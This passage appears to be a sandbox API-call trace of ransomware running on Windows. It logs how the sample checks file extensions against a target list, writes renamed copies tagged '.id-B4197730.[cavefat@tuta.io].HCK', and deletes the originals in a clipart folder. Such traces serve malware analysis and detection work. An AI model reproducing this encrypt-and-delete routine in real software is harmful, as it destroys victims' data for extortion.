Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.525] lstrlenW (lpString=".dbf") returned 4 [0179.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.525] lstrlenW (lpString=".1cd") returned 4 [0179.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.525] lstrlenW (lpString=".jpg") returned 4 [0179.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.525] lstrlenW (lpString=".doc") returned 4 [0179.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.525] lstrlenW (lpString=".docx") returned 5 [0179.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.525] lstrlenW (lpString=".pdf") returned 4 [0179.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.526] lstrlenW (lpString=".xls") returned 4 [0179.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.526] lstrlenW (lpString=".xlsx") returned 5 [0179.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.526] lstrlenW (lpString=".ppt") returned 4 [0179.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.526] lstrlenW (lpString=".zip") returned 4 [0179.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.526] lstrlenW (lpString=".rar") returned 4 [0179.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.526] lstrlenW (lpString=".bz2") returned 4 [0179.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.526] lstrlenW (lpString=".7z") returned 3 [0179.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.526] lstrlenW (lpString=".dbf") returned 4 [0179.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.526] lstrlenW (lpString=".1cd") returned 4 [0179.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 68 [0179.526] lstrlenW (lpString=".jpg") returned 4 [0179.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.526] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.526] lstrlenW (lpString="PE06450_.WMF") returned 12 [0179.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.529] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=16456) returned 1 [0179.529] CloseHandle (hObject=0x2fc) returned 1 [0179.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf")) returned 0x220 [0179.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.531] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.531] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.538] GetLastError () returned 0x0 [0179.538] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4048, lpOverlapped=0x0) returned 1 [0179.539] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4050, lpOverlapped=0x0) returned 1 [0179.540] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.540] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.540] SetEndOfFile (hFile=0x368) returned 1 [0179.542] CloseHandle (hObject=0x368) returned 1 [0179.543] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.543] SetEndOfFile (hFile=0x2fc) returned 1 [0179.546] CloseHandle (hObject=0x2fc) returned 1 [0179.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf")) returned 1 [0179.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.551] lstrlenW (lpString=".doc") returned 4 [0179.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.551] lstrlenW (lpString=".docx") returned 5 [0179.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.551] lstrlenW (lpString=".pdf") returned 4 [0179.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.551] lstrlenW (lpString=".xls") returned 4 [0179.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.551] lstrlenW (lpString=".xlsx") returned 5 [0179.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.551] lstrlenW (lpString=".ppt") returned 4 [0179.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.551] lstrlenW (lpString=".zip") returned 4 [0179.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.551] lstrlenW (lpString=".rar") returned 4 [0179.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.551] lstrlenW (lpString=".bz2") returned 4 [0179.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.551] lstrlenW (lpString=".7z") returned 3 [0179.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.551] lstrlenW (lpString=".dbf") returned 4 [0179.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.551] lstrlenW (lpString=".1cd") returned 4 [0179.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.551] lstrlenW (lpString=".jpg") returned 4 [0179.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.551] lstrlenW (lpString=".doc") returned 4 [0179.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.552] lstrlenW (lpString=".docx") returned 5 [0179.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.552] lstrlenW (lpString=".pdf") returned 4 [0179.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.552] lstrlenW (lpString=".xls") returned 4 [0179.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.552] lstrlenW (lpString=".xlsx") returned 5 [0179.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.552] lstrlenW (lpString=".ppt") returned 4 [0179.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.552] lstrlenW (lpString=".zip") returned 4 [0179.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.552] lstrlenW (lpString=".rar") returned 4 [0179.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.552] lstrlenW (lpString=".bz2") returned 4 [0179.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.552] lstrlenW (lpString=".7z") returned 3 [0179.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.552] lstrlenW (lpString=".dbf") returned 4 [0179.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.552] lstrlenW (lpString=".1cd") returned 4 [0179.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF") returned 68 [0179.552] lstrlenW (lpString=".jpg") returned 4 [0179.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.552] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0179.552] lstrlenW (lpString="PH01046J.JPG") returned 12 [0179.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.553] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=135611) returned 1 [0179.553] CloseHandle (hObject=0x2fc) returned 1 [0179.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg")) returned 0x220 [0179.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.555] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.555] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.558] GetLastError () returned 0x0 [0179.558] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x211bb, lpOverlapped=0x0) returned 1 [0179.563] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x211c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x211c0, lpOverlapped=0x0) returned 1 [0179.565] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.565] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.565] SetEndOfFile (hFile=0x3a4) returned 1 [0179.568] CloseHandle (hObject=0x3a4) returned 1 [0179.568] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.568] SetEndOfFile (hFile=0x368) returned 1 [0179.571] CloseHandle (hObject=0x368) returned 1 [0179.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg")) returned 1 [0179.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.574] lstrlenW (lpString=".doc") returned 4 [0179.574] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.574] lstrlenW (lpString=".docx") returned 5 [0179.574] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0179.574] lstrlenW (lpString=".pdf") returned 4 [0179.574] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.574] lstrlenW (lpString=".xls") returned 4 [0179.574] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.574] lstrlenW (lpString=".xlsx") returned 5 [0179.575] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0179.575] lstrlenW (lpString=".ppt") returned 4 [0179.575] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString=".zip") returned 4 [0179.575] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.575] lstrlenW (lpString=".rar") returned 4 [0179.575] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.575] lstrlenW (lpString=".bz2") returned 4 [0179.575] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.575] lstrlenW (lpString=".7z") returned 3 [0179.575] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString=".dbf") returned 4 [0179.575] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString=".1cd") returned 4 [0179.575] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString=".jpg") returned 4 [0179.575] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString=".doc") returned 4 [0179.575] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.575] lstrlenW (lpString=".docx") returned 5 [0179.575] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0179.575] lstrlenW (lpString=".pdf") returned 4 [0179.575] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.575] lstrlenW (lpString=".xls") returned 4 [0179.575] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.575] lstrlenW (lpString=".xlsx") returned 5 [0179.575] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0179.575] lstrlenW (lpString=".ppt") returned 4 [0179.575] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString=".zip") returned 4 [0179.575] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.575] lstrlenW (lpString=".rar") returned 4 [0179.575] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.575] lstrlenW (lpString=".bz2") returned 4 [0179.575] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.575] lstrlenW (lpString=".7z") returned 3 [0179.575] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString=".dbf") returned 4 [0179.575] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString=".1cd") returned 4 [0179.575] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 68 [0179.575] lstrlenW (lpString=".jpg") returned 4 [0179.575] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.576] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0179.576] lstrlenW (lpString="PH01221K.JPG") returned 12 [0179.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.582] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7316) returned 1 [0179.582] CloseHandle (hObject=0x300) returned 1 [0179.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg")) returned 0x220 [0179.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.585] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.585] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.588] GetLastError () returned 0x0 [0179.588] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1c94, lpOverlapped=0x0) returned 1 [0179.589] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1ca0, lpOverlapped=0x0) returned 1 [0179.590] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.590] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.590] SetEndOfFile (hFile=0x300) returned 1 [0179.591] CloseHandle (hObject=0x300) returned 1 [0179.592] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.593] SetEndOfFile (hFile=0x368) returned 1 [0179.596] CloseHandle (hObject=0x368) returned 1 [0179.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01221k.jpg")) returned 1 [0179.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.600] lstrlenW (lpString=".doc") returned 4 [0179.600] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0179.600] lstrlenW (lpString=".docx") returned 5 [0179.600] lstrcmpiW (lpString1=".docx", lpString2="K.JPG") returned -1 [0179.600] lstrlenW (lpString=".pdf") returned 4 [0179.600] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString=".xls") returned 4 [0179.600] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString=".xlsx") returned 5 [0179.600] lstrcmpiW (lpString1=".xlsx", lpString2="K.JPG") returned -1 [0179.600] lstrlenW (lpString=".ppt") returned 4 [0179.600] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.600] lstrlenW (lpString=".zip") returned 4 [0179.600] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString=".rar") returned 4 [0179.600] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0179.600] lstrlenW (lpString=".bz2") returned 4 [0179.600] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0179.600] lstrlenW (lpString=".7z") returned 3 [0179.600] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0179.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.600] lstrlenW (lpString=".dbf") returned 4 [0179.600] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0179.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01221K.JPG") returned 68 [0179.600] lstrlenW (lpString=".1cd") returned 4 [0179.600] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0179.600] lstrlenW (lpString="C:\\Program Files\\Microsoft 